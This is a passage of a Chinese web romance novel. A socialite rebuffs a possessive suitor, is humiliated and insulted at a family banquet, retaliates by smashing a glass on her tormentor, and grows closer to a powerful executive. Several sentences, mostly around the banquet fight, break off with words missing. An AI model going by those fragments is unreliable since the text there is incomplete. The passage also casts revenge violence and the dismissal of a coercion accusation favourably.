姜许都被逗笑了:“陈越然,被废了手毁了一辈子事业的不是我。你的道歉对象,是不是搞错了?” 陈越然眼睛更红了些:“你要我给他道歉?不可能!” 陈越然到最后都没道歉,只是陈老爷子砸了一百多万过去,才算是平下这件事。 见姜许扭头要走,陈越然声音低了几分:“这件事我承认是我的错,姜许,我不会再那么冲动了,你能不能,试着接受我一次?” 姜许觉得真的无法沟通,她都已经清清楚楚地说过很多次他们不可能。 “不能。”姜许皱眉:“陈越然,我很早就讨厌你了。” “……什么时候?” 姜许:“初中那会,我们刚认识没多久。你坐在我后面,为了引起我注意力,不是拽我头发就是扯我衣服。” 十几岁发育期的小男生,最喜欢做这种没品的小动作。陈越然也不例外,甚至还愈发过分。 “那个时候我就觉得,你这人,特别不懂尊重女生。”姜许说:“你这样的,我这辈子都不可能考虑。” “你不喜欢我就改。姜许,我就算没有那么好,可我对你,比谁都要在意。你是要结婚的,与其找其他人,怎么就不能接受我?” 姜许正要说什么,一道平直的车灯打了过来。随后很快暗了下去,她本就被缠得心情不佳,这会更是躁得慌。 视线落过去,后车门缓缓推开。男人从车里走了出来,身形高挑,肩宽腿长。一丝不苟的黑色西装极具压迫感,五官精致到无可挑剔,黑眸深邃而凉。 姜许默了一瞬。 陈越然还在,按照她上次的剧本,此刻她是不是应该马上抱住季惊深的手,再甜腻腻地喊上两声“宝贝”? 陈越然的注意力放在季惊深身上一瞬,又被一旁的车给吸引过去。 那天见过的那辆宾利! 他说呢,原来那天是来宣示主权的。 深呼吸了一口气,陈越然冷笑一声:“姜许,这位到底是哪家的少爷?圈子里多脏你不清楚吗?你真以为他现在喜欢你就能一直喜欢你?我喜欢你十几年都没变过,至今为止守身如玉。你问问身边的这位,能做到吗?” 姜许皱眉,冷声骂了一句:“我们的事轮不到你来管,你也少给自己脸上贴金。” “姜许你能不能擦亮眼睛看看!”陈越然气急:“他那样的,指不定玩过多少千金,你何必上赶着——” “陈越然,你嘴巴放尊重点!”姜许火气飙升到极点。 还问她为什么不给机会,这样的男人,她连多看一眼都嫌恶心。 眼看着那张潋滟的脸都气得通红,季惊深眉眼幽深。他径直走到姜许跟前,目光低了一分,以些许的身高差俯视跟前的陈越然。 平静而沉稳的眼神,多了几分不怒自威的压迫:“我没谈过恋爱,也没有和除姜许以外的任何无血缘女生有过肢体接触。至于以后——” “家族立有家规,娶妻结婚后,过错方净身出户。我没有愚蠢到为了一时欢愉,放弃所有。” 第19章 第19章【VIP】 姜许看了过去,刚才还略显躁意的眉眼染着几分清亮。 可无法避免的,心跳骤然快了几分。哪怕明知道是在演戏,心口的浪潮依旧高高掀起巨浪。 温热干燥的手被握住,指腹碾过时擦过她的掌心,有几分痒。 “时间不早了,陈先生找她还有事吗?” 这是被下了逐客令。 陈越然感觉心脏被重石狠狠地压着,只觉得自己仅剩的优势都被面前的男人压得干干净净。 好像从一开始姜许就说过,很不喜欢自己的性子,可是从小被宠着的他,又怎么会为了一个喜欢的女生去改变自己。他固执,执拗地坚持自己,认为只要是他喜欢的,哪怕是用尽手段,得到了就是得到,不在乎过程。 “上去坐会?”季惊深询问。 姜许面色透露出了一丝为难。 江小满和俞晓染还在。 季惊深了然,又道:“江边景色不错,要散个步吗?” 姜许点头。 有些话,是要说清楚的。 这场戏也不能一直继续演下去了。对季惊深的名声不好,对她,也为难得很。 陈越然看着他们离开,握着的拳头紧了又紧,不甘心地喊道:“姜许,如果我能为你改变呢?你喜欢成熟稳重的男人对吗?如果有一天我能做到,你会再看我一眼吗?” 他还是舍不得。毕竟是他喜欢了十几年的姜许,他见过她哭得泪眼汪汪的样子,也见过她嚣张骂人的样子。每一面,他都觉得生动讨喜。 姜许脚步微顿,回头看他:“不会,陈越然,我真的不喜欢你。” “这样啊。”陈越然扯了扯嘴角,故作坚强地道:“没关系啊,我年轻,我等得起。姜许,这辈子还长呢,万一你改观了呢。” “反正,我到死,都会缠着你!” 往西南方向的小路走去,不过十来分钟,入眼便是波光粼粼的江边。四周的灯光倒影错落,江上喷泉在错落下映衬得五彩斑斓。夜晚的风有些许凉意,却很舒服。 “季先生。”姜许轻轻地拽了拽自己的手。 察觉到她的小动作,温热的手掌用了几分力,随后,又很快松开。季惊深看着她眼里异常清明冷静的神色,眸色暗了几分,静静地等着预想之中的话语。 “这段时间的种种,我很感谢。陈越然的事情,其实没我想象得那么严重。” 到底是在国外八年,心性磨练了不少。否则两次和季惊深的见面,陈越然早就该动手了。虽然,依旧是放了狠话会继续缠着她,但,好歹是比以前收敛克制。当然,她看得出来,更多的是,季惊深给他的打击太深。 季惊深不语。 喷泉再起升起,而后又重重坠落下来,溅起水声。 “所以,我们这场戏,就到此为止。”姜许垂落在两旁的手还带着他的余温,燥热,而难耐。她克制得将情绪保持在了最冷静的状态,继续道:“季先生刚回逸安,权势不稳,董事会那边也虎视眈眈。要是以后这事暴露问起来,就把过错全部推到我身上就好。就说——” 她思索了两下,道:“我对季先生见色起意,季先生碍于季惊扬的情分陪我做了两场戏。” 拍打声一声跟着一声,江边不算安静,甚至还有几分燥得他有几分恼火。错开了视线,季惊深望向远处不断腾起而又下坠的浪花,低声道:“姜许,你是个女生,这样传出去,对你声誉有损。” 姜许倒是无所谓:“也不差这一次——” “不一样。”季惊深打断她,对上她一副理所当然的表情,浅浅地叹息一声:“陈先生那边我会处理好,没人会乱说。” “那——”姜许抬眼看他。 暖色路灯之下,男人眼底讳莫如深,侧脸淌过几分流光溢彩。 他的面色冷寂,透着几分不可靠近的疏离。又像是回到了初次见面的那天夜晚,明明在眼前,却遥不可及。 他好像误会了什么。 季惊深现在处在风口浪尖之上,虽回逸安,可位置到底是没彻底坐稳。季老爷子的动作她也听说了,毕竟是和季惊扬交好多年,老爷子就算再觉得她踏不进季家的门槛,这邀请函也是送了一张过来。 虽没有明说,可是圈子里都心知肚明。这一场宴会,是为了给季惊深选一个适合的结婚对象。于他而言,也是一大助力。在此之前,花边新闻什么的,对他会有所影响。 “季惊深——” 姜许欲言又止,伴随着江上散场的喷泉,将动压了下去。 解释什么? 解释她其实没有刻意撇清他们之间的关系,甚至巴不得他们更进一步。 ,季老爷子想要的孙媳妇,性子温良,乖巧贤淑,怎么都不会是她这一款。 季惊深闻言看向她,浓郁的暖色在。半晌,他听到姜许泄气的声音—— “时间不早了,我有点累了, 夜幕渐深,温度愈发地低了。 他收回自己的目光,敛下所有的情绪:“好。” 有些怏怏不乐地回到家里,只看见俞晓染大咧咧地坐在沙发里,遥控器胡乱的换着台。看到姜许回来,惊讶道:“就一个盒子?” 姜许没应,而是问:“小满呢?” “说是明早还要上班,先回去了。她就在你前后脚下去的,怎么,你俩没撞见?” 姜许“嗯”了一声,还没坐下,手中的礼盒袋被俞晓染拽了过去:“Queen’scrown的新款?又是姜祁州给你买的?“ “不是。”姜许扫了她一眼,俞晓染立马悻悻地缩回了手。 回到楼底之前,季惊深喊住了她。 男人站在车旁,手中提着刚从车里拿出来的礼物,目光平静沉稳地看着她:“乔迁礼物。” 她想要说谢谢,却又被季惊深的话打断。 “想要感谢的话,改天再陪我一起吃顿饭。如果不愿意,这声道谢也不必说出口。并不是什么多大的事,本就是我的赔礼。” 所有的话都被他给说完了,到了姜许嘴边,就只能剩下一句—— “晚安,季先生。” “晚安。” “姜许。” “怎么了?”眼前晃动的手把姜许的思绪给拉了回来,俞晓染伸手掐住她的脸:“你到底怎么了?下一趟楼魂不守舍的,怎么的,下楼约会男人去了?” “……” 没被反驳,俞晓染的声音骤然拔高了几分:“你真去约会男人了啊?帅不帅,怎么不带我看看?不会是圈子里的吧,怕我认识?” “……”无奈地扯了扯嘴角,姜许拍开她的手:“我累了,准备洗澡休息,你也赶紧哪凉快回哪去。” “哦,我今晚住你这。”俞晓染直接在沙发躺下,说得一本正经的:“你这新房得有人暖房,不用客气,我准备未来一周都住这。” 姜许都被气笑了:“听说因为上次在LS的事,你被明礼哥骂了好几天,这是打算在我这里躲一躲?” “谁,谁躲了,我一点都不怕他!”俞晓染哼道:“我这可是为了你这个塑料姐妹,你也不用太感激我!” 姜许实在是没心情和她掰扯:“客房你随便挑,我回屋了。” 一夜半梦半醒的,姜许没怎么睡好。剩下几天又被姜祁州临时拉过去做苦力,高定的晚礼服一穿,又是假笑一整天。 “你生日打算怎么过?” 靠在姜祁州的车上,姜许低头确认最近的安排。 五号是季家的晚宴,七八号拍摄。已经是定了八号晚上七点多的飞机,落地到这里怎么也得九点多,也不知道赶不赶得上。 “不过,就和往常一样。”姜祁州闭目养神着。 姜许“啧”了一声:“三十岁大寿,确定不好好办一场?” 姜祁州扫她一眼:“你的二十六岁大寿不也没大办一场?” 也就是和俞晓染和江小满她们胡闹了一晚上。 姜许说不过他,车子在楼下停稳,她哼哼着跟在身后进了电梯。 姜祁州:“今晚想吃什么,我让他们送来。” 姜许:“不用,俞晓染点了饭,你要一起吗?” “不了。”姜祁州拒绝。 他本就不是喜欢凑热闹的性子。 电梯打开,姜许所在的楼层到了。她朝姜祁州摆了摆手,回了家。 门一打开就是熟悉的烧烤香味,俞晓染这死妮子还真是不跟她客气半点,跟在自己家一样。穿着她的睡衣,鞋也没穿,大咧咧地盘腿坐在茶几上。 看到姜许,笑容灿烂地招了招手:“你来得正好,还热乎呢,赶紧吃。” “我这刚装修好的。”姜许咬牙提醒一句,手指搭在茶几上,轻轻点了点:“这茶几,特地从巴黎运过来的。” “知道知道,我不会弄脏的。”俞晓染又咬了一口,眼睛亮亮地看着姜许,忸怩了两下:“姜宝宝……” “有话直说。” “那什么,过几天我得和苏家吃个饭,你陪我去。” 北安苏家,不涉商圈,老一辈苏老爷子是一代书法大家,曾经一字难求。到了这一辈,长孙苏观明是北安大学的物理系教授,次孙苏见安进了国家级研究院。 书香门第,虽不经商,地位却不低。 “你哥给你安排的?”姜许问:“他看上苏观明还是苏见安了?” 俞晓染:“都看上了,他现在指望的是这两个能有一个看得上我。” 姜许看她一眼:“那你让我去做什么?怎么的,我给你做僚机?” “做个屁的僚机,你也不想想,一个教授一个科研人员,都是老古板。我这么俏皮可爱的,绝对不要嫁给他们其中的任何一个!” 姜许懒得搭话,低头刷着手机。 肩膀被人推了一下,俞晓染气鼓鼓地道:“你陪不陪?” 姜许都无奈了:“过几天季家宴会得参加,七八号我得工作,哪有时间。” “那就九号,吃个饭而已,就两个小时。”俞晓染瞪她,想了想道:“你要是愿意陪我,季惊深的八卦我就告诉你,绝对劲爆,物有所值!” 姜许眉眼微动,还是没点头。 她不是无所事事只用顾着玩乐的大小姐吗,怎么行程安排得和姜祁州差不多。 俞晓染继续诱惑:“情感虐恋,深爱与背叛,救赎与被救赎的故事,确定不感兴趣?那样清风霁月的男人,原来在十八岁也曾经有过一段——” “你改行吧,短视频需要你这样的人才。” “那你想不想听!” “你先说,我再考虑。” 俞晓染更气了,这死女人明显想要空手套白狼!可是她能怎么办,一圈塑料姐妹,也就姜许稍微靠谱点了。更主要的是,她只承认姜许比她好看!找个比她好看的衬托一下,这饭局不就黄了吗! “你也知道的,季家把季惊深看得特别重,我们那所学校,初高中一起的。六年了,我就没见过季惊深有什么朋友。哦对,好像有一个,方家那个小少爷吧,和他关系还算不错。” “你还别说,我高中还喜欢过他呢。”俞晓染轻咳一声,又对上姜许别有深意的眼神,立马咋呼起来:“干嘛这样看我!别说我了,当时喜欢季惊深的不少好吧,就是怕季老爷子找我们算账而已。不过,倒是有一个例外——” “具体的我也不知道,反正季惊深那会对她不错。那个女生还是个贫困生呢,偶尔几次我看到的都是她跟在季惊深身后,跟个小尾巴一样。” 姜许眼眸微动,手指下意识地弯曲了一下。 “那会我们都在传他们在恋爱,结果不到三个月,那个女生和季惊深一起被锁在器材室了。再后来,她把事情闹大,说,说季惊深强迫她!” 说到这里,俞晓染很是不屑:“这不造谣吗?纯纯的造谣!” “确定是造谣?”姜许问。 俞晓染嗓门更大了:“当然,我高中毕业那年和方厌喝过酒,就方浔他弟,和季惊深从小认识的那个。他说季惊深压根就没对那女生喜欢过,纯粹是出于好心帮过几次,结果就被赖上了。这也就算了,怎么还能做出这种事!” 姜许抿了抿唇:“后来呢?” “后来季家给了十万块,她出面澄清事情,说她那天被吓蒙了胡乱说的。我是相信季惊深啊,可那会传得沸沸扬扬的,季老爷子担心他身体,就把人送出国了。后来出了件事,明眼人都知道是季老爷子的警告,也没人敢再议论这件事了。” 旧事重提,俞晓染分外的不平:“我们那高中说白了就是圈子里世家互相接触的利益交换所,谁知道那个女生是用了什么手段进来的——” “我记得你们学校有特招生,只要成绩过关。”姜许说,克制住心里的不舒服:“她成绩应该不错。” 俞晓染炸毛了:“你哪边的,怎么还替她说话!” 姜许抬眸:“我肯定是你们这边的,可是她没做过的事情,总不能造谣,尤其还是黄谣。” 一码归一码。这事她的确听得犯恶心,但是其他的事,没证据的,她不希望俞晓染胡乱造谣。 “你!”俞晓染气得打她的手臂:“我讨厌你!” “行了行了,过几天我陪你去。”姜许好笑地哄她。 “这还差不多!”- 季家宴会办在季家老宅。占地广袤,入眼的便是千亩庭院,入宫殿一般的建筑屹立在绵长的溪流后面。入口处备了车,从桥上过去后,才到达宴会的中心。 姜许是从星好那边赶过来的,时间有些晚了。到的时候,里面已经热闹闹的一片。俞晓染被围在一群塑料姐妹之间,忙得抽不开身。 忽视她投过来的救命眼神,姜许找了个位置坐下,好整以暇地扫视一圈大厅。 季惊深并不在。 也是,他也并不需要出现在这场宴会中。找个二楼视野不错的位置坐着,随意地扫上两眼,若是有合眼缘的,后续的事,季老爷子自然会安排妥当。 而季安棠站在人群最中间,神态自若地应付着到场的各位来宾。 姜许记起了这次宴会的由头—— 季安棠的二十七岁生日。 礼物她送了,也该和寿星打个招呼。 姜许从侍从的托盘中拿了杯酒,温笑着朝季安棠走去- 逸安季惊深的办公室内,季惊扬等了又等。 总算是在季惊深结束一个视频会议的空档找到了时间,赶忙道:“哥,你真不去那宴会?老爷子特地给你筹划的呢,你不去回头老爷子该不高兴了。” 季惊深捏着眉心,疲倦了一天的嗓音有几分沙哑:“没空。” 季惊扬又看了眼堆积如山的文件,不由得同情了几分:“那,那我先过去了。姜许姐今天也来,我好久没见她了,怪想的。” 季惊深微顿,视线落在手边的文件上,静默几秒,须臾点头:“嗯。” 第20章 第20章【VIP】 被堵在角落处的姜许,一抬眼对上的就是厉嘉然那副嚣张轻蔑的脸。他身侧站着厉安然,难听的话语一句绷着一句。 她没想到事情会发展成这样。 本来只是和作为寿星的季安棠打个招呼,不冷不热的一番交谈之后,有红酒泼到了自已身上。今天穿的浅蓝色的长裙,这么一泼,几十万的裙子算是毁得彻底。 偏偏对方还一副阴阳怪气的样子:“不好意思啊姜许,眼神不好,没看到你呢,这手一滑……诶,你这裙子多少钱啊,我回头赔给你。” 她这么一个大活人在这里,这眼神得多不好才能完全看不见。 姜许低头看着脏了的大片裙子,胸前因为水*渍而紧贴着,隐隐窥得见些许的春光。她穿了贴身的遮掩,不至于走光,但也足够拉她面子,成为圈子里茶余饭后的一大笑谈。 上一次的仇,厉安然记着,泼她,也是故意的。她听姜祁州提过一嘴,厉家刚刚签下一个海外贸易合作,厉安然和踏江的谢家二少爷的好事也将近,这半个月来,正是风头正盛的时候。 “什么看不见,你就是故意的——”季惊扬气急,刚来就看到姜许被欺负,年轻气盛的就想要回怼回去,却被姜许拦住。 “不贵,也就几十万。”姜许淡笑着回她,又慢悠悠地接上下一句:“小众牌子定制,独一无二,你买不到第二条一模一样的。” 厉安然嗤笑:“不就几十万——” “所以,我也不需要你赔。”姜许握着还没有喝完的半杯红酒,拽过厉安然的衣裙,动作优雅地洒了下去,微笑道歉:“抱歉,我也手滑。” 冰冷的触感从腰间涌了过来,浇得厉安然一个激灵:“姜许!” 动静不小,四周的目光被尽数吸引了过来。厉嘉然正春风得意的享受着今晚的阿谀奉承,余光瞥见自已的姐姐被欺负,脸色一变。大步走了过来,又恰好和季惊扬对上了视线。 上一次赛车,他胜之不武,还被季惊扬按着头揍了两拳。这火,心里一直憋着呢。季家权势滔天,他自然是不敢对季惊扬发的,只是这姜许就不一样了。 “姐,是不是这个克死父母的讨债鬼欺负你了?”厉嘉然赶紧脱下外套,披在了厉安然身上。 姜许眉眼一眯,握着酒杯的手逐渐收紧:“没听清,刚才,你说什么?” “说你克死父母啊!”厉嘉然今晚喝了不少的酒,加上今晚被人各种捧着,一时间有些忘乎所以:“要不是当初为了保护你,你爸妈至于会死吗?哦,我还听说,你妈在生下你之后的两年,其实还怀了个孩子,结果也被你害死了。姜许,你说你这样的,我要是你,早就跳楼自杀了,哪有脸活在这个世界上——” “砰!” 酒杯碎在了厉嘉然的头,一道不大不小的口子往外渗着血。 四下寂静了一瞬,连舞池中的音乐声都小了不少。这一场闹剧在季家老宅上演着,出乎了所有人的意料。 到底都是圈子里的,利益链多少都有来往。俗话说不看僧面看佛面,哪怕是再怎么讨厌对方,这公开的场合,大家也会披上人皮面具稍稍收敛着。 姜许也是这么想的,可她不是个吃亏的主,一杯红酒下去,裙子,辱骂她的话,也算是过了。可偏偏厉嘉然越来越过分,旧事重提,字字诛心。这么多年,姜许本就不是个会忍耐的性子,情绪被激到了那个程度上,无法克制的,失控。 掌心不可避免地被碎裂的杯渣划过,有些火辣辣的疼。 “姜许姐……”季惊扬最先找回了自已的声音,目光警惕地看着厉嘉然像是一头濒临爆发的野兽,咬牙道:“谁让你口不择言,活该。厉嘉然,这里不是你胡闹的地方,赶紧滚。” 厉嘉然捂着头,其实并不算很痛。可能是酒精的作用太过于强大,疼痛微乎其微,可好胜的冲劲却愈发的上头。 姜许打了他? 一个靠着姜祁州狗仗人势的玩意罢了! 整个北安谁不知道她的那些破事,死了父母后私生活混乱,他哪一点说错了?! “我他妈弄死你!” 厉嘉然低吼骂了一声,还没来得及按住她的肩膀,季惊扬便赶紧拉着姜许连连后退:“厉嘉然,你疯了?” “谁疯了么,季惊扬,总不能姜许是你的姘头,你就包庇她吧。在场人可都看着了,她打了我!我这伤要去验的话,怎么也能让 “姜许你然又骂道:“姜祁州不在,你就靠季惊扬是吧?你说民江就算是没落了,但卖身讨好男人吧?” 话越来越过分。 ,脸色冷了不少。 她不喜欢姜许,这是不争的事实。可同为女生,她半点都听不得这样的话。 门口传来不小的骚动声。 季安棠看过去, 不是说不来的吗? 厅内的气氛依旧有些诡异。姜许和厉嘉然依旧是僵持不下,和门口嘈杂处形成了两个鲜明的对比。 季惊深一抬眼就能看到里面的场景。 姜许的左边衣角染上了大半的红酒,手指微微攥紧着。而她对面的两人更是狼狈不堪,裙子也毁得差不多。更别提,身旁站着的厉家三少爷此刻额头还带着伤。 剑拔弩张的,一方目光中心的几人,谁都没把注意力落在这边。 他抬腿走近,正好听到了这么一句—— “姜许,你爸妈要是知道自已舍命救下来的女儿长大了成这样,棺材板会不会压不住?” 克制的怒火又再次腾起,掌心处小碎片进了肉,疼痛让姜许清醒了几分,理智回笼之间,又被厉嘉然带起。她伸手抢过季惊扬手中的酒杯,正欲再次砸过去,却察觉到有温热的手强势地禁锢住了她的手腕。 不容置疑的,让她半点都动弹不得。 姜许回头看去,对上的是季惊深那双幽深的黑眸。 差点都忘了,今晚是季家做东。人家地盘上,主家的面子还是要给的。 心下涩然的情绪堵得难受,她的手松了几分力道,闷闷开口:“季惊深,你松手,我不会——” “松手,你的手在流血。”季惊深低眸看着她,扣着的手缓缓松开,指腹顺着她的腕口往上。 握住了她手里的酒杯:“姜小姐是客人,我来代劳。” 话落,周围静声一片。 季惊深回国的时间并不长,可毕竟都是北安世家圈子里的,在场的少爷千金见过他的人却不少。谁都没有想到,那个明明在高座之上冷眼旁观的男人,会走到姜许身边,一副绝对护着的姿态。 “季,季总,你……”厉嘉然磕巴着,这会酒都醒了不少:“是姜许先砸的我,季家再怎么有权有势也不能不讲理吧?” 是谁先不讲理找打的? 季惊扬气笑了,偏头看了一眼季惊深,在得到允许后,一脚踹向他的腹部:“你都说有权有势了,不讲理怎么了?” 高脚杯被季惊深紧紧握着,男人的脸色实在是算不上好看,鲜少的冷沉着,墨色的黑眸晕不开任何一丝暖意。 他往前走了一步,厉嘉然便恐惧得后退了一步,眼神警惕而又害怕:“季总,我,我也没做什么,你怎么能……” “我记得受邀嘉宾之中,没有厉三少爷。”季惊深淡淡地开口。 厉嘉然脸色一变。今天邀请的的确只有他哥和他姐,可他哥前段时间在逸安受了季惊深的气,这会自然是不愿意来这季家的。 偏偏他喜欢热闹,又想在这宴会之上好好嘚瑟一番,所以也跟着一起来了。 按理来说,多一个人少一个人其实都无关紧要,世家向来不在乎这种小事。可真要论起来,他这也算是不请自来。 “而姜小姐则是我季家邀请前来的客人,厉三少爷,有些话说出来之前,你最好过过脑子。” “砰”。 酒杯落地,正正好砸在厉嘉然的皮鞋跟前。 液体迸溅,打湿了他的裤腿。 姜许定定地站在原地,陷入深深的沉默。直到肩头压下一件外套—— “姜小姐,你手上的伤需要现在处理。至于其他,季家会给你一个满意的结果。” 她依旧是没有太多反应,缄默着,只是清亮的眼底还有几分怔怔然。季惊深不得不压低了几分嗓音:“姜许,先处理伤口。” “好。” 很乖。 季惊深眉眼都柔了几分,在一众好奇惊讶的目光之下,带着姜许往外走。 “大哥。”季安棠快步跟上,面色带着几分愧意:“抱歉,今晚的事,是我没有处理好。” 季惊深看她一眼,声音不算高,却足够周围一圈的人听得清楚。 “老爷子近几年信佛,季家行事作风温和了不少。往后,是该注意些了。” 季安棠明了。 无关其他,今日是在季家老宅举办的宴会,姜许又是他们季家请来的客人,客人在他们的地方被这样对待,折损的,是他们季家的面子。 外面夜风正好,天气还没入夏。 车子在跟前停下,姜许偏头看去,季惊深替她打开了车门,是询问的语气:“去医院?” 姜许缄默,思索两秒,还是点头。 上了车,密闭的空间有些逼仄。 开往医院的路不久,可此刻好巧不巧遇上了晚高峰,大路逢着一起车祸,逼得巨大的车流量走走停停。车内的灯被打开,姜许顺势看去,季惊深已经从车里翻找出医药箱。 对上她的视线后,温声道:“姜许,手给我。” 这里不知道还要堵多久,伤口得先粗略的处理一下。 手心的伤口并不深,只是有一块很小的碎片扎了进去。车内的灯算不得明亮,加上又是夜晚,季惊深只得垂眉靠了过去。 他处理得很认真,温热的呼吸还洒在姜许的手心,酥酥痒痒的,甚至盖过了酒精的刺痛感。 “今晚的事,抱歉。”良久沉默下,姜许还是开了口。 季惊深专注着给她的手缠上绷带,视线一瞬不瞬的,直到包扎结束,才抬起头。 今天她的妆容似乎和往常有些不一样,偏乖巧可人。柳眉弯弯,鼻头有些微红,也不知道是化了妆还是其他。 他合上医药箱,凝视着她:“被欺负的人,怎么还需要道歉?” 姜许微怔。 “姜许,你对我,似乎总是很小心翼翼。” 混沌如缠绕着的死团好像突然被打开了一个口子。 姜许后知后觉地察觉到了什么。 她在乎季惊深对自已的看法。 这个在乎不知道是从什么时候开始的。 而这个认知,也点醒了她。 或许,她对季惊深不只是浅薄的心动。 “是觉得我会和那些人一样,对你有偏见,听信传闻,把你想得不堪?”季惊深继续逼问,势必要在她这里得到一个准确的回答。 乱糟糟的心绪没得到一个时间整理,姜许下意识地想要捏紧衣角,手腕却被季惊深扣住:“刚处理好的伤口,别乱动。” “……好。”她回答。 可季惊深却没有半点要松开的打算。 大掌依旧钳住她的手,晦暗的黑眸紧盯着她,等着她的回答。 车子突然起步,微微的推背感让姜许稍稍恢复了点冷静,她将难以回答的问题给抛了回去:“那你呢?” “季惊深,你对我的照顾,是不是有些多了?” 挺聪明的。 季惊深无声地弯了弯唇,和姜许对视几秒,神色如常:“所以姜小姐觉得是为什么?觉得我对你……抱有喜欢的感情?” 她没这么说。 难以回答的问题,怎么又抛到了她这边? 姜许不得不承认,在拉扯问题上面,她远远比不上季惊深。 泄气地靠在了沙发上,她垂眉看着自已还被握着的手。男人的指节很修长,隐隐还能看到手背的青筋。 病秧子。 现在可不是。 被握着的时候,很明显感受到男人手臂的力量,一看就是常年健身的。 “是。” 姜许闭眼,不去看季惊深的反应。反正她脸皮厚,最自恋的那年,觉得全天下男人喜欢她都是应该的。 钳住她的手在这时松开了,姜许睁眼看去,季惊深神色淡得看不出任何情绪,语气清冷疏离:“看到姜小姐恢复心情,我就放心了。” 什么鬼……? 刚才那一番话,只是想让她从厉嘉然捣鼓的坏心情中走出来吗? 姜许烦躁不堪,俞晓染前不久说的话还在脑海里。 “季惊深当然不喜欢那个女生啦,他外公苏老爷子从小就教导他尊重女性以善待人,别看他冷面冷心的,最心软的就是他。” 哪有那么多喜不喜欢,只是有些人生来就足够好而已。 是夜。 姜祁州匆忙赶到医院时,季惊深正站在门口打电话。对上他的视线,稍稍盖住了听筒:“姜总。” “今晚的事,多谢季总。”姜祁州温笑一声:“季总既然还有事要忙,可以先回去。” 那头的电话的确在不断催促,季惊深扫向病房内。姜许正靠在床上闭目养神,精神看起来不差。 “今晚的事,是季家的疏忽,会给姜总一个满意的处理结果。” 姜祁州点了点头,推门进去。 听到声音,姜许猛地睁开眼,看到来的人是姜祁州后,情绪复杂。 “季惊深回去了。”姜祁州一看姜许这样就知道她在想什么:“众目睽睽之下,逸安季总护着你。怎么样,那颗小心脏是不是还在怦怦跳?” “平时你在那些个男人面前,心肝宝贝地喊着也不脸红,对上季惊深,这么小心翼翼?姜许,需要我点醒你吗?” “……姜祁州你话好多,我是病人需要休息。”姜许不想回答他。 姜祁州扫她一眼:“还病人?四十度高烧都要蹦起来骂我,这才划破了点手,就是病人了?” 虽说是这么说,他还是走上前,仔仔细细地将人检查了一番,确认其他地方无碍后,才道:“现在回家?” 姜许指了指门口:“在等熬中药。” “行。”姜祁州点头:“那我去给你买点吃的。” 姜许:“我想吃豆浆油条。” “都这个点了,你怎么不说吃神仙肉?”姜祁州颇为无奈,静默两秒,叹息道:“我去看看,没有的话给你买其他的。” 出了医院,站在车门口的卢宇博眉头蹙着:“姜总。” “直接说。” 卢宇博深呼吸了一口气:“姜总,我们和厉明然刚刚定下一个合作,现在要是闹得不愉快……” “项目没了可以再谈,钱没了也能再赚。姜许今晚受的气,他厉嘉然就得还。” 卢宇博沉默了。 圈子里的人都明白姜祁州对姜许的好,那可真是恨不得天上的星星都摘下来。可卢宇博作为跟在姜祁州身边的特助,总是不能理解。 再宠着,这利益面前,多少也得放一放。毕竟,这是堂妹也不是亲妹。 他还是忍不住问:“姜总,您真欠了姜小姐一百个亿?” “不止。” 姜祁州上了车,看着外头的夜幕。 七年前,他创业失败,欠了一个多亿。遭遇兄弟背叛,法人担责。被问责收集信息的那段时间,姜许为他求遍了所有人。 直到扣押被放出来的那天,他在他们生活了十年的江香别院找到了她。 十九岁的姜许,孤零零地坐在大门口,抱着他们一家四口的合照,眼眶红得不像话。 “我把爸妈的房子卖了。姜祁州,一亿三百万,我凑齐了。” 他良久的沉默,半蹲在姜许面前:“姜许,我不需要——” “那你想去坐牢吗姜祁州?!”她冲自已喊,声音沙哑带着哭腔:“我就你一个亲人了,你进去了我怎么办?” “哥,爸妈都走了,你别走好不好?” 成年后的他,第一次感受到了喉咙哽咽的酸涩感。 攥紧的,还有余温的卡塞到了他的手里:“这是我借给你的,姜祁州,等你东山再起了,你要百倍还给我。” 一亿三百万,姜许从没有细说。可他也清楚,好面子如她,是低声下气求了多少人,又割舍了多少年的依托,才将这钱凑齐。 他记得姜许为他受过的委屈,所以,如今他东山再起,他给姜许无限风光,肆意妄为的资本。 “姜总……” 卢宇博的声音把姜祁州从思绪里拉了回来:“人,人被截了……” 姜祁州:“?” 卢宇博:“是那位季总的人,您看……?” 姜祁州微顿,忽而失笑:“随他去吧,这件事,别告诉姜许。” “好。”- 大晚上还得拉过来做了个苦力,方厌抱怨的话就没停过。 在安静的办公室里,格外的刺耳。 “逸安一大堆事都没处理完,倒是有心情去管别人的事。”方厌无语,见主座之上的人不回话,又道:“姜祁州那边,捎个话过去?” “随你。”即使不说,他也会查到。 翻阅文件的手一顿,季惊深抬眸:“他们堂兄妹关系很好?” “是啊。这都是民江还没搬来北安的事了,我也只是听说了一二。说是姜广安出轨曝光那会,姜祁州还不到十岁,又接连丧母,状态一度很差。后来是被姜广随,也就姜许他爸接了回去。” “那会开始,这两人就形影不离了。后来民江到北安发展,姜许更是把姜祁州当做小鸡仔似的护着,谁议论姜祁州她就直接揍人,凶悍得很。前几年,姜祁州创业失败,姜许还砸锅卖铁地帮他把债给还了。总之,他们之间的感情,比亲兄妹还亲。” 季惊深了然。 方厌盯着他良久:“季惊深,你到底怎么回事?” 季惊深:“什么?” 方厌调笑着,玩味地打趣一句:“说真的,我要是姜许,我得爱死你,然后死乞白赖地追求你。” 男人并未回答他,目光轻垂,再次落在了文件上。 方厌脸上的笑容一僵,各种猜测混在了一起。 姜许,主动追求他。 不是。 这不会是正中他下怀吧? 不、不能吧…… 20-30 第21章 第21章【VIP】 晚宴因为一场闹剧而提前结束。 俞晓染大松了一口气,正庆幸着可以赶紧逃离,却又在门口被再次围上来的塑料闺蜜给缠住。 “晓染,你和姜许最熟了,刚才是什么情况?这姜许不是和季家的小少爷那什么吗,怎么又和那位纠缠到一起了?” “是啊是啊,刚才他们还牵手了,你看到没?” 俞晓染完全无力招架,而且她压根也不明白。这帮塑料姐妹震惊脸时,她也没有好到哪里去。 “没,没什么情况啊。”俞晓染将扒拉着自己的手臂甩开,打着哈哈:“哪有情况啊,你们别乱猜。什么都没有,少议论。” 接她的车到了,俞晓染形象也顾不上了,大步流星,高跟鞋往车里一垮,果断地关上了车门。 上车,直接给姜许打了个电话,“滴”了两声后,被无情地挂断。 “死女人!” 俞晓染骂骂咧咧的,又转战去骚.扰江小满。接通后,她直接问:“姜许和季惊深什么情况?” 江小满微顿,装傻充愣:“什么都没有啊。” “到底是不是姐妹了?” “不是你说的吗,塑料的!” 俞晓染:“……” 她憋闷,牙齿磨得咯吱响:“你当我是傻子呢!他们绝对有猫腻!” “那,要不你问问姜宝?” 